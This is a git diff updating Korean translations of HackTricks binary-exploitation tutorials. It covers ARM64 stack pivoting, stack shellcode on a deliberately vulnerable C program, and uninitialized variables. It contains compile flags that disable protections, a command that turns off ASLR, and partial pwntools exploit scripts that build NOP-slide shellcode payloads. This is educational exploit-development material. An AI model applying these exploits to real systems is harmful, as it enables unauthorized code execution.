+mov x29, sp // FP는 프레임 레코드를 가리킴
```
* 에필로그
@@ -224,25 +225,26 @@ ret
```
{% hint style="danger" %}
-ARM64에서 스택 피봇을 수행하는 방법은 **`SP`를 제어**할 수 있어야 하며, 그 레지스터의 값이 `SP`로 전달되거나 `SP`가 스택에서 주소를 가져오는 이유가 있어야 합니다. 그런 다음 에필로그를 남용하여 **제어된 `SP`에서 `x30` 레지스터를 로드**하고 **`RET`**로 이동해야 합니다.
+ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 제어할 수 있는 것입니다 (어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**를 호출하는 것입니다.
{% endhint %}
-또한 다음 페이지에서 **ARM64에서 Ret2esp의 동등한 내용**을 볼 수 있습니다:
+다음 페이지에서도 **ARM64에서의 Ret2esp**의 동등한 내용을 볼 수 있습니다:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 AWS 해킹을 전문가로 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/README.md b/binary-exploitation/stack-overflow/stack-shellcode/README.md
index fdf5e174c..505fd4652 100644
--- a/binary-exploitation/stack-overflow/stack-shellcode/README.md
+++ b/binary-exploitation/stack-overflow/stack-shellcode/README.md
@@ -1,26 +1,27 @@
-# 스택 쉘코드
+# Stack Shellcode
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## 기본 정보
+## Basic Information
-**스택 쉘코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 쉘코드를 작성하고 **명령어 포인터 (IP)** 또는 **확장된 명령어 포인터 (EIP)**를 이 쉘코드의 위치를 가리키도록 수정하여 실행시키는 것입니다. 이는 무단 액세스를 얻거나 대상 시스템에서 임의의 명령을 실행하는 데 사용되는 고전적인 방법입니다. 여기에는 간단한 C 예제와 **pwntools**를 사용하여 해당 취약점을 이용하는 방법을 작성하는 방법이 포함되어 있습니다.
+**스택 셸코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 셸코드를 작성한 다음 **명령 포인터 (IP)** 또는 **확장 명령 포인터 (EIP)**를 수정하여 이 셸코드의 위치를 가리키게 하여 실행되도록 하는 방법입니다. 이는 무단 접근을 얻거나 대상 시스템에서 임의의 명령을 실행하기 위해 사용되는 고전적인 방법입니다. 다음은 프로세스의 개요와 간단한 C 예제, 그리고 **pwntools**를 사용하여 해당 익스플로잇을 작성하는 방법입니다.
-### C 예제: 취약한 프로그램
+### C Example: A Vulnerable Program
-간단한 취약한 C 프로그램 예제부터 시작해보겠습니다:
+간단한 취약한 C 프로그램의 예로 시작해 보겠습니다:
```c
#include
#include
@@ -36,22 +37,22 @@ printf("Returned safely\n");
return 0;
}
```
-이 프로그램은 `gets()` 함수 사용으로 버퍼 오버플로우 취약점이 있습니다.
+이 프로그램은 `gets()` 함수의 사용으로 인해 버퍼 오버플로우에 취약합니다.
### 컴파일
-취약한 환경을 시뮬레이션하기 위해 다양한 보호 기능을 비활성화하면서 이 프로그램을 컴파일하려면 다음 명령을 사용할 수 있습니다:
+이 프로그램을 다양한 보호 기능을 비활성화하여 컴파일하려면 (취약한 환경을 시뮬레이션하기 위해) 다음 명령어를 사용할 수 있습니다:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
-* `-fno-stack-protector`: 스택 보호 기능을 비활성화합니다.
-* `-z execstack`: 스택을 실행 가능하게 만들어줍니다. 이는 스택에 저장된 셸코드를 실행하는 데 필요합니다.
-* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 셸코드가 위치할 메모리 주소를 예측하기 쉽게 합니다.
-* `-m32`: 프로그램을 32비트 실행 파일로 컴파일합니다. 주로 exploit 개발의 간편성을 위해 사용됩니다.
+* `-fno-stack-protector`: 스택 보호를 비활성화합니다.
+* `-z execstack`: 스택을 실행 가능하게 만들어, 스택에 저장된 shellcode를 실행하는 데 필요합니다.
+* `-no-pie`: 위치 독립 실행 파일을 비활성화하여, 우리의 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다.
+* `-m32`: 프로그램을 32비트 실행 파일로 컴파일하여, 익스플로잇 개발의 단순성을 위해 자주 사용됩니다.
-### Pwntools를 사용한 Python Exploit
+### Pwntools를 사용한 Python 익스플로잇
-다음은 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 Python exploit을 작성하는 방법입니다:
+다음은 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 익스플로잇을 Python으로 작성하는 방법입니다:
```python
from pwn import *
@@ -78,38 +79,39 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
-이 스크립트는 **NOP 슬라이드**, **쉘코드**, 그리고 **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어쓰면서 쉘코드가 실행되도록 페이로드를 구성합니다.
+이 스크립트는 **NOP 슬라이드**, **쉘코드**로 구성된 페이로드를 생성한 다음, **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어써서 쉘코드가 실행되도록 합니다.
-**NOP 슬라이드** (`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이딩"될 가능성을 높이기 위해 사용됩니다. `p32()` 인자를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 착지할 수 있습니다.
+**NOP 슬라이드**(`asm('nop')`)는 정확한 주소에 관계없이 실행이 우리의 쉘코드로 "슬라이드"될 가능성을 높이기 위해 사용됩니다. `p32()` 인수를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 도달하도록 합니다.
-## 보호 기능
+## 보호 조치
-* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/)은 실행마다 신뢰할 수 있는 주소를 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 동일하지 않을 수 있고 이를 알아내기 위해 유출이 필요할 수 있습니다.
-* [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 합니다. 그렇지 않으면 침해된 EIP 반환 주소가 결코 따라가지 않을 수 있습니다.
-* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내부의 쉘코드 실행을 방지할 수 있습니다. 해당 영역은 실행할 수 없기 때문입니다.
+* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **는 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다.
+* [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
+* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내에서 쉘코드의 실행을 방지합니다. 왜냐하면 해당 영역은 실행 가능하지 않기 때문입니다.
-## 다른 예제 및 참고 자료
+## 기타 예제 및 참조
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
-* 64비트, 스택 주소 유출과 ASLR, 쉘코드 작성 및 실행
+* 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
-* 32비트, 스택 유출과 ASLR, 쉘코드 작성 및 실행
+* 32비트, 스택 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
-* 32비트, 스택 유출과 ASLR, exit() 호출 방지를 위한 비교, 변수 덮어쓰기 및 쉘코드 작성 및 실행
+* 32비트, 스택 leak가 있는 ASLR, exit() 호출을 방지하기 위한 비교, 변수에 값을 덮어쓰고 쉘코드를 작성하고 점프하기
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프하기
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 AWS 해킹을 전문가로 배우세요**!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** 깃헙 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index e283e253d..dbd32fa62 100644
--- a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -1,22 +1,27 @@
-# 스택 쉘코드 - arm64
+# Stack Shellcode - arm64
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)을 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
-* **해킹 트릭을 공유하고 싶다면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-[arm64 기본 어셈블리.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)에서 arm64에 대한 소개를 찾을 수 있습니다.
+arm64에 대한 소개는 다음에서 확인하세요:
-## 코드
+{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
+[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
+{% endcontent-ref %}
+
+## Code
```c
#include
#include
@@ -31,19 +36,21 @@ vulnerable_function();
return 0;
}
```
-파이, 캐너리, NX 없이 컴파일하기:
+Compile without pie, canary and nx:
{% code overflow="wrap" %}
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## ASLR 없음 & canary 없음 - 스택 오버플로우
+{% endcode %}
-ASLR을 중지하려면 실행하세요:
+## ASLR 비활성화 및 카나리 없음 - 스택 오버플로우
+
+ASLR을 중지하려면:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-[**bof 오프셋을 얻으려면 이 링크를 확인하십시오**](../ret2win/ret2win-arm64.md#finding-the-offset).
+[**bof의 오프셋을 확인하려면 이 링크를 참조하세요**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit:
```python
@@ -76,6 +83,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
-다음으로 호출할 스택 내 주소를 찾는 것이 유일하게 "복잡"할 수 있는 부분입니다. 제 경우 gdb를 사용하여 찾은 주소로 exploit을 생성했지만, exploit을 시도할 때 작동하지 않았습니다 (스택 주소가 약간 변경되었기 때문입니다).
+여기서 "복잡한" 유일한 것은 호출할 스택의 주소를 찾는 것입니다. 제 경우에는 gdb를 사용하여 찾은 주소로 익스플로잇을 생성했지만, 익스플로잇할 때 작동하지 않았습니다(스택 주소가 약간 변경되었기 때문입니다).
-생성된 **`core` 파일** (`gdb ./bog ./core`)을 열고 쉘코드 시작 주소의 실제 주소를 확인했습니다.
+생성된 **`core` 파일**을 열고(`gdb ./bog ./core`) 셸코드 시작의 실제 주소를 확인했습니다.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/uninitialized-variables.md b/binary-exploitation/stack-overflow/uninitialized-variables.md
index 68f229f61..628c7608e 100644
--- a/binary-exploitation/stack-overflow/uninitialized-variables.md
+++ b/binary-exploitation/stack-overflow/uninitialized-variables.md
@@ -1,39 +1,40 @@
# 초기화되지 않은 변수
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
## 기본 정보
-여기서의 핵심 아이디어는 **초기화되지 않은 변수가 할당된 메모리에 이미 있는 값으로 설정되는지 이해하는 것**입니다. 예시:
+여기서 핵심 아이디어는 **초기화되지 않은 변수가 할당된 메모리에 이미 있던 값을 가지게 된다는 것을 이해하는 것입니다.** 예:
-* **함수 1: `initializeVariable`**: 변수 `x`를 선언하고 값 `0x1234`를 할당합니다. 이 동작은 메모리에 공간을 예약하고 특정 값을 넣는 것과 유사합니다.
-* **함수 2: `useUninitializedVariable`**: 여기서 다른 변수 `y`를 선언하지만 값을 할당하지 않습니다. C에서 초기화되지 않은 변수는 자동으로 0으로 설정되지 않습니다. 대신, 그들은 메모리 위치에 마지막으로 저장된 값이 유지됩니다.
+* **함수 1: `initializeVariable`**: 우리는 변수 `x`를 선언하고 값을 할당합니다. 예를 들어 `0x1234`라고 합시다. 이 작업은 메모리에서 자리를 예약하고 특정 값을 넣는 것과 같습니다.
+* **함수 2: `useUninitializedVariable`**: 여기서 우리는 또 다른 변수 `y`를 선언하지만 값은 할당하지 않습니다. C에서는 초기화되지 않은 변수가 자동으로 0으로 설정되지 않습니다. 대신, 그들은 마지막으로 저장된 값을 유지합니다.
이 두 함수를 **순차적으로** 실행할 때:
-1. `initializeVariable`에서 `x`에 값(`0x1234`)이 할당되어 특정 메모리 주소를 차지합니다.
-2. `useUninitializedVariable`에서 `y`가 선언되지만 값이 할당되지 않으므로 `x` 바로 뒤의 메모리 위치를 차지합니다. `y`를 초기화하지 않았기 때문에, `x`가 사용한 메모리 위치에서 마지막으로 있던 값이 `y`에 "상속"됩니다.
+1. `initializeVariable`에서 `x`는 값(`0x1234`)을 할당받아 특정 메모리 주소를 차지합니다.
+2. `useUninitializedVariable`에서 `y`는 선언되지만 값이 할당되지 않으므로 `x` 바로 뒤의 메모리 자리를 차지합니다. `y`를 초기화하지 않음으로써, `y`는 `x`가 사용한 동일한 메모리 위치에서 마지막 값인 `0x1234`를 "상속"하게 됩니다.
-이 동작은 저수준 프로그래밍의 중요한 개념을 보여줍니다: **메모리 관리가 중요**하며, 초기화되지 않은 변수는 예측할 수 없는 동작이나 보안 취약점으로 이어질 수 있습니다. 왜냐하면 그들은 의도치 않게 메모리에 남아 있는 민감한 데이터를 보유할 수 있기 때문입니다.
+이 행동은 저수준 프로그래밍의 핵심 개념을 설명합니다: **메모리 관리가 중요하며**, 초기화되지 않은 변수는 예측할 수 없는 행동이나 보안 취약점을 초래할 수 있습니다. 왜냐하면 이들은 메모리에 남아 있는 민감한 데이터를 의도치 않게 보유할 수 있기 때문입니다.
-초기화되지 않은 스택 변수는 다음과 같은 보안 위험을 야기할 수 있습니다:
+초기화되지 않은 스택 변수는 여러 보안 위험을 초래할 수 있습니다:
-* **데이터 누출**: 암호, 암호화 키 또는 개인 정보와 같은 민감한 정보가 초기화되지 않은 변수에 저장된 경우 노출될 수 있어 공격자가 이 데이터를 읽을 수 있게 됩니다.
-* **정보 노출**: 초기화되지 않은 변수의 내용은 프로그램의 메모리 레이아웃이나 내부 작업에 대한 세부 정보를 드러낼 수 있어 공격자가 특정한 공격을 개발하는 데 도움이 됩니다.
-* **크래시 및 불안정성**: 초기화되지 않은 변수를 사용하는 작업은 정의되지 않은 동작으로 이어져 프로그램 충돌이나 예측할 수 없는 결과를 초래할 수 있습니다.
-* **임의 코드 실행**: 특정 시나리오에서 공격자는 이러한 취약점을 악용하여 프로그램의 실행 흐름을 변경하여 임의 코드를 실행할 수 있게 되어 원격 코드 실행 위협을 포함할 수 있습니다.
+* **데이터 유출**: 비밀번호, 암호화 키 또는 개인 정보와 같은 민감한 정보가 초기화되지 않은 변수에 저장될 경우 노출될 수 있으며, 공격자가 이 데이터를 읽을 수 있습니다.
+* **정보 공개**: 초기화되지 않은 변수의 내용은 프로그램의 메모리 레이아웃이나 내부 작업에 대한 세부 정보를 드러낼 수 있어, 공격자가 표적 공격을 개발하는 데 도움을 줄 수 있습니다.
+* **충돌 및 불안정성**: 초기화되지 않은 변수를 포함한 작업은 정의되지 않은 행동을 초래할 수 있으며, 이는 프로그램 충돌이나 예측할 수 없는 결과로 이어질 수 있습니다.
+* **임의 코드 실행**: 특정 시나리오에서 공격자는 이러한 취약점을 이용하여 프로그램의 실행 흐름을 변경하고, 원격 코드 실행 위협을 포함한 임의 코드를 실행할 수 있습니다.
### 예시
```c
@@ -65,12 +66,27 @@ demonstrateUninitializedVar();
return 0;
}
```
-#### 작동 방식:
+#### How This Works:
-* **`initializeAndPrint` 함수**: 이 함수는 정수 변수 `initializedVar`를 선언하고 값 `100`을 할당한 다음 변수의 메모리 주소와 값을 출력합니다. 이 단계는 초기화된 변수의 동작 방식을 보여주며 간단합니다.
-* **`demonstrateUninitializedVar` 함수**: 이 함수에서는 초기화하지 않은 정수 변수 `uninitializedVar`를 선언합니다. 해당 변수의 값을 출력하려고 시도하면 출력은 무작위 숫자를 보여줄 수 있습니다. 이 숫자는 해당 메모리 위치에 이전에 있던 데이터를 나타냅니다. 환경 및 컴파일러에 따라 실제 출력물이 다양할 수 있으며 때로는 안전을 위해 일부 컴파일러가 변수를 자동으로 0으로 초기화할 수도 있지만 이에 의존해서는 안 됩니다.
-* **`main` 함수**: `main` 함수는 위의 두 함수를 순서대로 호출하여 초기화된 변수와 초기화되지 않은 변수 간의 대조를 보여줍니다.
+* **`initializeAndPrint` Function**: 이 함수는 정수 변수 `initializedVar`를 선언하고, 그 값에 `100`을 할당한 다음, 변수의 메모리 주소와 값을 출력합니다. 이 단계는 간단하며 초기화된 변수가 어떻게 동작하는지를 보여줍니다.
+* **`demonstrateUninitializedVar` Function**: 이 함수에서는 초기화하지 않은 정수 변수 `uninitializedVar`를 선언합니다. 이 변수의 값을 출력하려고 할 때, 출력은 무작위 숫자를 보여줄 수 있습니다. 이 숫자는 해당 메모리 위치에 이전에 있던 데이터를 나타냅니다. 환경과 컴파일러에 따라 실제 출력은 달라질 수 있으며, 때때로 안전을 위해 일부 컴파일러는 변수를 자동으로 0으로 초기화할 수 있지만, 이는 의존해서는 안 됩니다.
+* **`main` Function**: `main` 함수는 위의 두 함수를 순차적으로 호출하여 초기화된 변수와 초기화되지 않은 변수의 차이를 보여줍니다.
-## ARM64 예제
+## ARM64 Example
-로컬 변수도 스택에서 관리되므로 ARM64에서는 전혀 변경되지 않습니다. 여기에서 이를 보여주는 [**이 예제를 확인하세요**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/).
+ARM64에서는 로컬 변수가 스택에서 관리되므로 전혀 변경되지 않습니다. [**이 예제**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/)를 확인할 수 있습니다.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/c2/salseo.md b/c2/salseo.md
index a525186a5..e70756053 100644
--- a/c2/salseo.md
+++ b/c2/salseo.md
@@ -1,70 +1,71 @@
# Salseo
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
